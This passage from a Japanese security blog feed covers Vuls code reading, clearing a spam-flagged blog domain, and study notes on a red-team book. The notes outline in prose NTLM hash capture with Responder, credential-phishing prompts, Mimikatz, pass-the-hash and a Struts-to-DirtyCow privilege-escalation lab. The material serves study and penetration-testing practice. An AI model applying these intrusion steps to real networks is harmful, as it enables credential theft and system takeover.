</li> <li><a href="#その他">その他</a><ul> <li><a href="#ソフトウェアデザイン-2019年11月号-脆弱性スキャナ特集VulsTrivyDockle-まとめと感想">ソフトウェアデザイン 2019年11月号 脆弱性スキャナ特集(Vuls/Trivy/Dockle) まとめと感想</a></li> <li><a href="#go-cve-search-作ってみた---TDD-Circleci-README-Badge-Terminal-Gif-Cliツール開発の話">go-cve-search 作ってみた - TDD, Circleci, README Badge, Terminal Gif, Cliツール開発の話</a></li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <p>  </p> <h3 id="Vulsのコードを読む">Vulsのコードを読む</h3> <h4 id="その1-全体像の把握">その1 全体像の把握</h4> <p>Vulsで使われている<span style="color: #293030; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-size: 17px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Googleの</span><a href="https://github.com/google/subcommands" style="box-sizing: border-box; color: #119e4d; text-decoration: none; background-color: #ffffff; overflow-wrap: break-word; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-size: 17px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;">subcommands</a>というCLIツールを作成する際に使われるライブラリの話がメインです。</p> <p>GoでCLIツール作りたい人は読んでもいいかもですが、あまり深くまで書かれていない(コードの読み始めで理解ができていなかった)ので読まなくてもいい記事。</p> <p> </p> <p>また、GoのCLI用のライブラリとしてsubcommandsはメジャーではないように思われますし、私が作成したCLIツール<a href="https://github.com/s-index/go-cve-search">go-cve-search</a>でもsubcommandsではなく<a href="https://github.com/urfave/cli">urfave/cli</a>を使っています。</p> <p> </p> <p><a href="https://security-index.hatenablog.com/entry/2019/11/04/162804">Vulsのコードを読む その1 全体像の把握 - Security Index</a></p> <p> </p> <h4 id="その2-go-cve-dictionary-を理解するバグを見つけてプルリクを出してマージされるまで">その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで</h4> <p>Vuls本体ではなく、Vulsが利用している<a href="https://github.com/kotakanbe/go-cve-dictionary">go-cve-dictionary</a>というNVDからCVEの情報を収集してデータベースに格納、そして簡易的なサーバモードとして立ち上げることでデータベースから出力することができるライブラリについての解説です。</p> <p>タイトルにあるようにコードを読んでいく中で小さなバグを見つけたのでプルリクを作成してマージしてもらう、ということを経験しました。</p> <p>今までOSSを使うことはあってもコントリビュートしたことはなかったのでVulsのコードリーディングの中で初めてOSSへの貢献をする事ができました。</p> <p> </p> <blockquote class="twitter-tweet" data-conversation="none" data-lang="ja"> <p dir="ltr" lang="ja">マージだんですっ<a href="https://t.co/1wRQYP5hxC">https://t.co/1wRQYP5hxC</a></p> — バルスのちょんまげおじさん (@kotakanbe) <a href="https://twitter.com/kotakanbe/status/1197874705866223616?ref_src=twsrc%5Etfw">2019年11月22日</a></blockquote> <p> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> </p> <p> </p> <p>本当に小さなバグ修正ですが、自分の中では大きな良い経験ができたと感じています!</p> <p> </p> <p>また、NVDのデータフィード、CPE (Common Platform Enumeration)、プルリクの出し方などについても書かれていますので参考になると思います。</p> <p> </p> <p><a href="https://security-index.hatenablog.com/entry/2019/11/17/205040">Vulsのコードを読む その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで - Security Index</a></p> <p> </p> <h4 id="その3-Vuls-scanを調べてみた-Vulsへのプルリク">その3 Vuls scanを調べてみた (Vulsへのプルリク)</h4> <p>Vuls本体の「vuls scan」コマンドを実行した時に行われる処理の部分を説明しています。</p> <p>vuls scanでは脆弱性の特定までは行っておらず、スキャン対象のサーバの状態(カーネル情報、インストールされているパッケージ情報、アップデート可能なパッケージ情報など)を取得して、resultsディレクトリ以下に結果の保存する処理を行っています。</p> <p> </p> <p>この部分を読むことでスキャン対象のサーバのディストリビューションの特定方法(<span style="color: #293030; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-size: 17px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Debian, RedHat, SUSEなど</span>)、インストールしているパッケージ情報の取得、アプリレイヤーのライブラリの取得に関してどの辺りで行われているのか、他のOSSを上手く利用して実現されていることなど感じることができると思います。</p> <p> </p> <p>その3ではVulsのスキャン部分で小さな気になる部分があったのでそこへプルリクを投げ、マージされました。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200720/20200720161051.png" alt="f:id:security_index:20200720161051p:plain" title="f:id:security_index:20200720161051p:plain" class="hatena-fotolife" itemprop="image" width="571" /></p> <p> </p> <p><span style="color: #293030; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-size: 17px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">今回も本当に小さな修正ですが、Github starが7.6kもあるOSSへ貢献できたというのはとても嬉しい経験でした。</span></p> <p> </p> <p><a href="https://security-index.hatenablog.com/entry/2019/12/07/222719">Vulsのコードを読む その3 Vuls scanを調べてみた (Vulsへのプルリク)- Security Index</a></p> <p> </p> <h4 id="その4-Vuls-reportを調べてみた">その4 Vuls reportを調べてみた</h4> <p>Vuls本体の「vuls report」コマンドを実行した時に行われる処理の部分を説明しています。</p> <p>ここではその3で説明したvuls scanで取得したサーバ情報と外部から収集した脆弱性情報をマッチングさせ、その結果をレポートとして出力する処理に関して書かれています。</p> <p> </p> <p>アプリケーション層のライブラリの脆弱性に関しては<a href="https://github.com/aquasecurity/trivy">Trivy</a>、各ディストリビューションの脆弱性は<a href="https://github.com/kotakanbe/goval-dictionary">goval-dictionary</a>、cpeを使ったマッチングは<a href="https://github.com/kotakanbe/go-cve-dictionary">go-cve-dictionary</a>、Github Secruity Alertsの情報の取得、RedHatなどのSecurity Trackerの情報は<a href="https://github.com/kotakanbe/goval-dictionary">gost (go-security-tracker)</a>、Exploitコードの情報は<a href="https://github.com/vulsio/go-exploitdb">go-exploitdb</a>、<a href="https://github.com/takuzoo3868/go-msfdb">go-msfdb</a>。</p> <p> </p> <p>Vuls本体ではこれらのOSSで収集した脆弱性情報をvuls scanで特定したサーバの情報をマッチさせて、様々なレポート形式で出力させることを行っています。</p> <p> </p> <p><a href="https://github.com/takuzoo3868/go-msfdb">go-msfdb</a>は2020/7/13にリリースされた<a href="https://github.com/future-architect/vuls/releases/tag/v0.11.0">v0.11.0</a>で新しく組み込まれたものでrapid7のMetasploitモジュールの情報を収集するライブラリのようです。</p> <p>このまとめ記事を書くに辺り「その4」の記事にgo-msfdbの内容も少し加筆しました。</p> <p> </p> <p>また、vulsではレポートとしての出力先が豊富にあり、email, http, slack, hipchat, telegram, localfile, s3, azure-blobなど。</p> <p>Goでこの辺りへの出力方法を検討している人は書き方を参考にすると良いのかもしれません。</p> <p> </p> <p><a href="https://security-index.hatenablog.com/entry/2019/12/22/220855">Vulsのコードを読む その4 Vuls reportを調べてみた - Security Index</a></p> <p> </p> <h3 id="その他">その他</h3> <h4 id="ソフトウェアデザイン-2019年11月号-脆弱性スキャナ特集VulsTrivyDockle-まとめと感想">ソフトウェアデザイン 2019年11月号 脆弱性スキャナ特集(Vuls/Trivy/Dockle) まとめと感想</h4> <p>ソフトウェアデザイン 2019年11月号の特集2「脆弱性スキャナ Vuls/Trivy/Dockle」のまとめと感想の記事です。</p> <p>このまとめ記事を書くにあたり再度ソフトウェアデザインを読み直しましたがコラムの「Vulsとの出会い」、Vuls/Trivy/Dockleのそれぞれの開発者が語る第4章「開発者が語るOSSノインパクト」の話がとても面白い。</p> <p> </p> <p>セキュリティは本当に総合格闘技と呼ばれるくらい様々な知識が必要で、Trivyの開発者の方も幅広くセキュリティの知識を付けたが結局何ができる人なのか、という点で悩んでいたそうです。</p> <p>Vulsと出会う前にも自分が楽になるためのソフトウェアなどは書いていたが自分だけが使うものなので綺麗なコードで書くわけでもなく、セキュリティと開発の両立ができるものはないかと思っていたところでVulsで出会ったそうです。</p> <p>VulsとVulsの開発者の方との出会いからTrivyの開発まで繋がり、イスラエルで働くことになるという想像もできないような変化が生まれたのだと思います。</p> <p> </p> <p>Vulsの開発者の神戸さんも<a href="http://www.ipsj.or.jp/award/softwarejapan_award.html">2019年度ソフトウエアジャパンアワード</a>を受賞し、Dockleの開発者の方も<a href="https://www.publickey1.jp/blog/20/kubernetesmisaki.html">デンソーの「Misaki」</a>に関わるなど大変活躍されています。</p> <p> </p> <p><a href="https://note.future.co.jp/n/n388bd4dd23d8">祝!ソフトウエアジャパンアワード受賞 「OSSで社会貢献したい」Vuls開発者 神戸さんインタビュー|未来報|フューチャー株式会社</a></p> <p> </p> <p><a href="https://security-index.hatenablog.com/entry/2019/10/19/163716">ソフトウェアデザイン 2019年11月号 脆弱性スキャナ特集(Vuls/Trivy/Dockle) まとめと感想 - Security Index</a></p> <p>  </p> <h4 id="go-cve-search-作ってみた---TDD-Circleci-README-Badge-Terminal-Gif-Cliツール開発の話">go-cve-search 作ってみた - TDD, Circleci, README Badge, Terminal Gif, Cliツール開発の話</h4> <p>vulsのコードリーディングを終えた後、やっぱり自分でも何か作りたい!と思い作ったものです。</p> <p>CVE IDを引数に与えるとNVDのデータフィードから情報を取ってくるというかなり単純なものです。</p> <p>GithubでNVDのデータフィードを整形したものを置いてくれているレポジトリも多くあるのですが全てのデータをcloneして持ってくるとデータサイズがかなり大きくなる、常にアップデートして最新状態にしておかなくてはならない、などの自分としては課題を感じている部分があったのでそこを解消するものを作りました。</p> <p> </p> <p>どうせなら周辺の技術も学びたいということでTDDやCircleciもやってみたり、Github starが欲しい!ということでREADMEに色々なBadgeを付けたり、Gifで使い方がわかるデモのようなものを付けたりしました。</p> <p> </p> <p> 公開当時は当然ではありますが全くスターもつかず、一生スター0で終わるんだろうなぁ・・・と思っていたのですが、最近たまたま見てみたらスター数 14、forkも1されていて驚きました・・・</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200720/20200720190833.png" alt="f:id:security_index:20200720190833p:plain" title="f:id:security_index:20200720190833p:plain" class="hatena-fotolife" itemprop="image" width="435" /></p> <p><a href="https://github.com/s-index/go-cve-search">GitHub - s-index/go-cve-search: lightweight CVE search</a></p> <p> </p> <p>一部の人にもしかしたら使われているのかもしれないですし、今後もいくつか改善アイデアがあるので時間を見つけてアップデートしていきたいです。</p> <p> </p> <p><a href="https://security-index.hatenablog.com/entry/2020/01/30/180000">go-cve-search 作ってみた - TDD, Circleci, README Badge, Terminal Gif, Cliツール開発の話 - Security Index</a></p> <p> </p> <h3 id="最後に">最後に</h3> <p>少し時間があったので過去を振り返ろうと思い半年ほど前に書いた記事を読み返して、更新してみましたが忘れていることも多く、また振り返るとその当時どんなことを考えてたのかとか、何に悩んでいたのかとかも思い出せてとても良い機会になりました。</p> <p> </p> <p>また、元々コードを読んで理解しようというモチベーションで始めたものがプルリク出してOSSに貢献できたり、実際に自分でコードを書いてOSSを公開したりとちょっとしたきっかけがどんどん次に繋がっていたのだなぁ・・・と改めて思いました。</p> <p> </p> <p>Twitter <a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> <p> </p> <p><a href="https://amzn.to/3hhljcl">ソフトウェアデザイン 2019年11月号</a></p> <p><a href="https://amzn.to/2CSCdz2">これでできる!はじめてのOSSフィードバックガイド 「つよいエンジニア」になるための実績の育て方</a></p> <p><a href="https://amzn.to/3jlwWB0">世界のエリートはなぜ「イスラエル」に注目するのか</a></p> <p> </p> security_index はてなブログ独自ドメイン運用しようとしたらドメインがスパム扱いされててできなかった話 hatenablog://entry/26006613596527369 2020-07-12T21:53:04+09:00 2020-07-15T21:40:13+09:00 はてなブログを一年くらい続けているのでせっかくだからプロプランにしてみて、独自ドメイン で運用してみようとしたら思わぬところで躓いた話。 簡単にまとめてしまうと、取得したドメインがvirustotalやspamhausでスパム扱いされていたために上手く設定できていない状態でした。 (今はスパム扱いを解除してもらい、お名前.comの方とやりとりしながら解決できそうな感じです) 無事解決して .infoドメイン運用できるようになりました! もし独自ドメインを取りたいと考えている方は事前にそのドメインを上記のサイトでチェックしておくと面倒な作業をしなくても済むようになります。 (もしかしたら普通確認… <p>はてなブログを一年くらい続けているのでせっかくだからプロプランにしてみて、独自ドメイン で運用してみようとしたら思わぬところで躓いた話。</p> <p> </p> <p>簡単にまとめてしまうと、取得したドメインが<a href="https://www.virustotal.com/gui/home/url">virustotal</a>や<a href="https://www.spamhaus.org/lookup/">spamhaus</a>でスパム扱いされていたために上手く設定できていない状態でした。</p> <p><span style="text-decoration: line-through;">(今はスパム扱いを解除してもらい、お名前.comの方とやりとりしながら解決できそうな感じです)</span></p> <p>無事解決して .infoドメイン運用できるようになりました!</p> <p> </p> <p>もし独自ドメインを取りたいと考えている方は事前にそのドメインを上記のサイトでチェックしておくと面倒な作業をしなくても済むようになります。</p> <p>(もしかしたら普通確認するよね、というような当たり前の話かもしれませんが私は知らなかったために色々と時間がかかってしまいました・・・)</p> <p> </p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200710/20200710210612.png" alt="f:id:security_index:20200710210612p:plain" title="f:id:security_index:20200710210612p:plain" class="hatena-fotolife" itemprop="image" width="531" /></p> <ul class="table-of-contents"> <li><a href="#なぜ上手くいかなかったのか">なぜ上手くいかなかったのか</a></li> <li><a href="#解決策">解決策</a></li> <li><a href="#最後に">最後に</a></li> </ul> <p> </p> <h3 id="なぜ上手くいかなかったのか">なぜ上手くいかなかったのか</h3> <p>はてなブログでプロプランに登録することで現在は「.info」ドメインが1年分無料で使えるということで取得して、<a href="https://help.hatenablog.com/entry/customdomain">はてなブログ ヘルプ</a>のサイトに書いてある通りに設定したが上手くいかず・・・</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200710/20200710210927.png" alt="f:id:security_index:20200710210927p:plain" title="f:id:security_index:20200710210927p:plain" class="hatena-fotolife" itemprop="image" width="530" /></p> <p> </p> <p>「エラーレコードが見つかりませんでした」のメッセージが3日以上経っても消えなかったので、DNSレコードを確認。</p> <p> </p> <p>お名前.comにWhois検索があったのでこちらで検索してみました。</p> <p><a href="https://www.onamae.com/service/whois/">Whois検索|ドメイン取るならお名前.com</a></p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200712/20200712142924.png" alt="f:id:security_index:20200712142924p:plain" title="f:id:security_index:20200712142924p:plain" class="hatena-fotolife" itemprop="image" width="508" /></p> <p> </p> <p>一番したの「Domain Status」を見てみると</p> <p>「serverHold」</p> <p>「serverTransferProhibited」</p> <p>があると思います。<br /><br /></p> <p>「serverTransferProhibited」は他のレジストラに移管するのを防止しているというステータスを示しているようです。</p> <p>レジストラというのはお名前.comのようなドメイン登録業者のことで、お名前.comからムームードメインという他のレジストラに移管したくてもできない状態ということです。</p> <p>ドメイン登録から60日以上経たないとドメイン移管ができないようになっているようです。</p> <p><a href="https://www.onamae.com/clever/about/regist.html" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif;">レジストリとレジストラとは?|ドメイン取るならお名前.com</a></p> <p> </p> <p>「serverHold」が今回の原因となっていたもので、「ドメインが有害であると判定されているなどの理由でドメインが停止」されている状態のようです。</p> <p>この場合には「ドメインを取得したサービスのサポート窓口にて確認」する必要があります。</p> <p><a href="https://peraichi.zendesk.com/hc/ja/articles/360023852853-%E7%8B%AC%E8%87%AA%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E3%81%AE%E7%8A%B6%E6%85%8B%E3%81%AE%E7%A2%BA%E8%AA%8D%E6%96%B9%E6%B3%95">独自ドメインの状態の確認方法 – ペライチヘルプ</a></p> <p> </p> <p> </p> <h3 id="解決策">解決策</h3> <p>お名前.comに問い合わせたところ以下のブラックリストに登録されている可能性があるので確認して、もし登録されていたら解除申請をしてくださいとの回答がありました。</p> <p> </p> <ul> <li><a href="https://www.spamhaus.org/lookup/">Spamhaus</a></li> <li><a href="https://www.virustotal.com/gui/home/url">VirusTotal</a></li> <li><a href="https://transparencyreport.google.com/safe-browsing/search" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif;">Google Safebrowsing</a></li> <li><a href="http://www.surbl.org/surbl-analysis" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif;">SURBL</a></li> <li><a href="https://admin.uribl.com/" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif;">URIBL</a></li> </ul> <p> </p> <p>確認したところSpamhaus, VirusTotalでスパム扱いされていました。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200712/20200712201651.png" alt="f:id:security_index:20200712201651p:plain" title="f:id:security_index:20200712201651p:plain" class="hatena-fotolife" itemprop="image" width="566" /></p> <p> </p> <p>スパム登録を解除するためにSpamhaus, VirusTotalそれぞれ問合せフォームより解除の依頼を出します。</p> <p>英語で書く必要がありますがDeepLを使って端的に用件を書けば大丈夫です。</p> <p> </p> <p><a href="https://www.virustotal.com/gui/contact-us">VirusTotal Contact us</a></p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200712/20200712205752.png" alt="f:id:security_index:20200712205752p:plain" title="f:id:security_index:20200712205752p:plain" class="hatena-fotolife" itemprop="image" width="557" /></p> <p> </p> <p>私の場合は、「このブログで使う予定のドメイン」「最近登録したばかりなのでスパムにならない」といったことを書いて問合せしました。</p> <p> </p> <p>Spamhausは問い合わせをすると数時間で解除しますとの連絡がありすぐに解除されました。</p> <p> </p> <p>VirusTotalは特に返信メールはありませんでしたが無事解除されていました。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200712/20200712210227.png" alt="f:id:security_index:20200712210227p:plain" title="f:id:security_index:20200712210227p:plain" class="hatena-fotolife" itemprop="image" width="510" /></p> <p> </p> <p><span style="text-decoration: line-through;">現在、お名前.comに解除されたことを伝え、対応してもらっているという状態です。</span></p> <p><span style="text-decoration: line-through;">おそらく、問題は解決しているので無事独自ドメイン運用ができるようになると思います!</span></p> <p>無事 .infoドメインで運用できるようになりました!</p> <p>また、コメント欄にあるように他の.infoドメインの方で同様の事が発生している人がいたようです・・・</p> <p> </p> <h3 id="最後に">最後に</h3> <p>はてなブログで独自ドメイン運用しようとしている方で、「エラーレコードが見つかりませんでした」となって困っている人に少しでも役立つ情報になっていればと思います。</p> <p>また、はじめにも書きましたがドメイン取得時に事前に調べておくことで対応がスムーズになると思いますので、少なくともVirusTotalで確認してみることをお勧めします。</p> <p> </p> <p><a href="https://amzn.to/2ZUZ4So">DNSがよくわかる教科書</a></p> <p> </p> <p>↑の本の書評がありましたので参考にどうぞ。ドメインで課題にぶつかったのでDNSに少し興味が出てきました。</p> <p><a href="https://dev.classmethod.jp/articles/dns-textbook/">【書評】「DNSがよくわかる教科書」DNSの入門にとてもおすすめの一冊 | Developers.IO</a></p> <p> </p> <p>Twitter <a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> security_index サイバーセキュリティ レッドチーム実践ガイド その2 hatenablog://entry/26006613594027318 2020-07-05T21:32:42+09:00 2020-09-27T17:42:26+09:00 前回の『サイバーセキュリティ レッドチーム実践ガイド その1』の続きです。 今回は「第4章」と「生涯学習」の部分のメモ書きです。 「生涯学習」の部分ではこの本を読み終えた後、次に何をすべきなのか、ということについて書かれており、次のレベルへステップアップするための9つのアイデアが紹介されています。 <p>前回の『<a href="https://security-index.hatenablog.com/entry/2020/06/28/215115">サイバーセキュリティ レッドチーム実践ガイド その1</a>』の続きです。</p> <p>今回は「第4章」と「生涯学習」の部分のメモ書きです。</p> <p> </p> <p>「生涯学習」の部分ではこの本を読み終えた後、次に何をすべきなのか、ということについて書かれており、次のレベルへステップアップするための9つのアイデアが紹介されています。 </p> <p> </p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200628/20200628192602.jpg" alt="f:id:security_index:20200628192602j:plain" title="f:id:security_index:20200628192602j:plain" class="hatena-fotolife" itemprop="image" width="383" /></p> <p> </p> <ul class="table-of-contents"> <li><a href="#第4章-ドライブ-ネットワークへの侵入">第4章 ドライブ ネットワークへの侵入</a><ul> <li><a href="#Windows">Windows</a><ul> <li><a href="#セットアップ">セットアップ</a></li> <li><a href="#ネットワークに接続">ネットワークに接続</a></li> <li><a href="#ネットワーク接続後">ネットワーク接続後</a></li> <li><a href="#その他">その他</a></li> </ul> </li> <li><a href="#Linux">Linux</a></li> </ul> </li> <li><a href="#生涯学習">生涯学習</a><ul> <li><a href="#9つのアイデア">9つのアイデア</a></li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <p> </p> <h3 id="第4章-ドライブ-ネットワークへの侵入">第4章 ドライブ ネットワークへの侵入</h3> <p>第4章が全体の中で一番ページ数の多い(87ページ)章です。</p> <p>内容としては、ネットワークに侵入し、マシン間での移動(ピボッティング)、権限の昇格を行い、システム全体を乗っ取るという一連の流れを体験することができます。</p> <p> </p> <p>章の大部分はWindowsの話で、後半にLinuxの話が出てきます。</p> <h4 id="Windows">Windows</h4> <h5 id="セットアップ">セットアップ</h5> <p>ライセンスの関係でVMファイルとしてダウンロードできないため、自分で環境をセットアップする必要があります。</p> <p>この本で紹介されている理想的なテストラボは</p> <ul> <li>ドメインコントローラサーバ</li> <li>Webサーバ (IIS)</li> <li>クライアントマシン (Win10 x 3, Win7 x 2)</li> </ul> <p>これらをひとつのマシン上でVMとして立ち上げるために、最低でも16GBのRAM、500GBのストレージが必要だそうです・・・</p> <p>私の貧弱なMacboob Pro (RAM 8GB)では到底再現できそうものなく、Windowに関する知識もないため、以下簡単なメモ書き。</p> <p> </p> <p>シチュエーションとしては、オフィスに侵入し、ネットワークにドロップボックス(小型のコンピュータ)を接続した後に、自宅からドロップボックスにアクセスして攻撃を始めるというものです。</p> <p> </p> <h5 id="ネットワークに接続">ネットワークに接続</h5> <p> </p> <p><a href="https://github.com/lgandx/responder">Responder</a>を使うことでネットワークのリッスン、プロキシーサーバとしてデータの転送などを行うことができます。</p> <p> </p> <p>NTLMv2ハッシュを取得することができれば、高性能なクラッキングマシンを使ってパスワードクラッキングすることもできますし、ForceWpadAuthとBasic認証を使ってログインプロンプトを表示させ、ユーザ名とパスワードを入力させることもできます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200705/20200705164355.png" alt="f:id:security_index:20200705164355p:plain" title="f:id:security_index:20200705164355p:plain" class="hatena-fotolife" itemprop="image" width="343" /></p> <p><span style="font-size: 80%;">引用元 <a href="https://answers.microsoft.com/ja-jp/ie/forum/all/microsoft%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3/491500f3-ae48-426b-829c-000ad6be6c51">マイクロソフトコミュニティ</a></span></p> <p> </p> <p>日頃から注意していないとこのようなボップアップが出てきた場合に入力してしまい、入力した情報は平文で送信されます。</p> <p> </p> <h5 id="ネットワーク接続後">ネットワーク接続後</h5> <p>ドロップボックスを使ってアクセスがネットワークからアクセスできるようになった後にすることとしては、アクセスしたマシンの状態確認、ネットワーク確認があります。</p> <p> </p> <p>netstatコマンドでネットワーク状況の確認、tasklistでプロセス列挙、sysinfoでホスト情報の確認、powershellを使って共有ドライブ情報の確認など。</p> <p> </p> <p>多くのコマンドとオプションを使いこなす必要がありますが、全てを覚える必要はなく、<a href="https://github.com/leostat/rtfm">rtfm</a>というpythonスクリプトを使うことで必要なコマンドを検索し、利用することができます。</p> <p> </p> <p>./rtfm.py -t enumeration | more</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200705/20200705170615.png" alt="f:id:security_index:20200705170615p:plain" title="f:id:security_index:20200705170615p:plain" class="hatena-fotolife" itemprop="image" width="383" /></p> <p> </p> <h5 id="その他">その他</h5> <p>権限の昇格に関するページでは、Mimikatz、Mimikittenzについても書かれています。</p> <p>それ以外にもDCOM(Distributed Component Object Model)を使ったラテラルムーブメント、Pass-the-Hash、RDPを使ったラテラルムーブメントなど紹介されています。</p> <p> </p> <h4 id="Linux">Linux</h4> <p>Linuxの部分ではVMが提供され、ラテラルムーブメントを体験することができます。</p> <p>内容としては、内部ネットワークにApache Strutsサーバ、Jenkinsサーバ、データベースサーバがあり、まずApache Strutsサーバを脆弱性をついて乗っ取り、DirtyCowで権限の昇格、SSHで他のサーバ(Jenkinsサーバ、データベースサーバ)を攻略していくというシナリオです。</p> <p> </p> <p>Apach StrutsサーバへはMetasploitのペイロードにdnscat2マルウェアを組み込み、シェルを開きます。</p> <p>その後、wgetでDirtyCowのコードをダウンロードして、コンパイルして実行することでrootに権限の昇格をすることができます。</p> <p> </p> <p>自分の環境に合わせて書かれているコマンドを叩くことで再現することができます。</p> <p>しかし、動作確認はできますが、なぜこうなるかまではあまり書かれていないので自分で調べて理解する必要があります。</p> <p> </p> <h3 id="生涯学習">生涯学習</h3> <p>本の最後に「生涯学習」という章がありますので先に紹介します。</p> <p>この本を読んだ後どうすればいいですか、という読者からの声に対する筆者の回答が書かれています。</p> <p>ここでは9つのアイデアが紹介されています。</p> <p> </p> <h4 id="9つのアイデア">9つのアイデア</h4> <ul> <li>ブログを立ち上げ、GitHubアカウントを作成する</li> <li>GitHubアカウントを経歴にする</li> <li>ローカルカンファレンスで登壇する</li> <li>バグバウンティ</li> <li>CTFコンテスト</li> <li>友人を誘ってラボを構築する</li> <li>悪いやつらから学ぶ</li> <li>The Hacker Playbookを購読する</li> <li>トレーニング</li> </ul> <p> </p> <p>重要なポイントとしては</p> <blockquote> <p>最初は小さなプロジェクトから始めて、セキュリティコミュニティに貢献することです</p> </blockquote> <p> </p> <p>最初は小さくてもいいからアウトプットする習慣とコミュニティから情報を受け取るだけじゃなくて貢献することが大切なようです。</p> <p> </p> <h3 id="最後に">最後に</h3> <p>rtfmなどの便利ツールを使うことで細かいコマンドやオプションまでは正確に覚える必要はありませんが、どういう流れで攻略するのか、どういう脆弱性がこれまであって悪用できそうか、など経験がないと手が動かない部分が多くあると感じました。</p> <p> </p> <p>この本をやり終えたらHack The Boxに再挑戦しよう・・・</p> <p> </p> <p>続き</p> <p>・<a href="https://security-index.hatenablog.com/entry/2020/07/23/135117">サイバーセキュリティ レッドチーム実践ガイド その3</a></p> <p> </p> <p><a href="https://amzn.to/3ibSzmv">サイバーセキュリティテスト完全ガイド ~Kali Linuxによるペネトレーションテスト~ </a></p> <p> </p> <p>Twitter <a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> security_index サイバーセキュリティ レッドチーム実践ガイド その1 hatenablog://entry/26006613591031651 2020-06-28T21:51:15+09:00 2020-09-27T17:43:09+09:00 Hack The Boxを初めてみて、全然基礎がないことに気がついたので「サイバーセキュリティ レッドチーム実践ガイド」を買って読み始めたのでメモ。 いろいろなツールの使い方がざっくりと書かれているので使いながら自分で学んでいく形式の本な気がします。 初心者に優しい本では無かったですが手を動かしながら学ぶには良い本だと思います。 <p>Hack The Boxを初めてみて、全然基礎がないことに気がついたので「<a href="https://amzn.to/2YEPALJ">サイバーセキュリティ レッドチーム実践ガイド</a>」を買って読み始めたのでメモ。</p> <p> </p> <p>いろいろなツールの使い方がざっくりと書かれているので使いながら自分で学んでいく形式の本な気がします。</p> <p>初心者に優しい本では無かったですが手を動かしながら学ぶには良い本だと思います。</p> <p> </p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200628/20200628192602.jpg" alt="f:id:security_index:20200628192602j:plain" title="f:id:security_index:20200628192602j:plain" class="hatena-fotolife" itemprop="image" width="440" /></p> <p> </p> <ul class="table-of-contents"> <li><a href="#はじめに">はじめに</a></li> <li><a href="#第1章-セットアップ-武器を選ぶ">第1章 セットアップ 武器を選ぶ</a></li> <li><a href="#第2章-スナップ前にレッドチームの偵察">第2章 スナップ前にレッドチームの偵察</a></li> <li><a href="#第3章-スロー-Webアプリケーションのエクスプロイト">第3章 スロー Webアプリケーションのエクスプロイト</a></li> <li><a href="#最後に">最後に</a></li> </ul> <p> </p> <h3 id="はじめに">はじめに</h3> <p>「はじめに」では前書「サイバーセキュリティテスト完全ガイド」との比較で「ペネトレーションテストチーム」と「レッドチーム」の違いについて書かれています。</p> <p> </p> <p>ペネトレーションに関して体系的にまとまっている「<a href="http://www.pentest-standard.org/">The 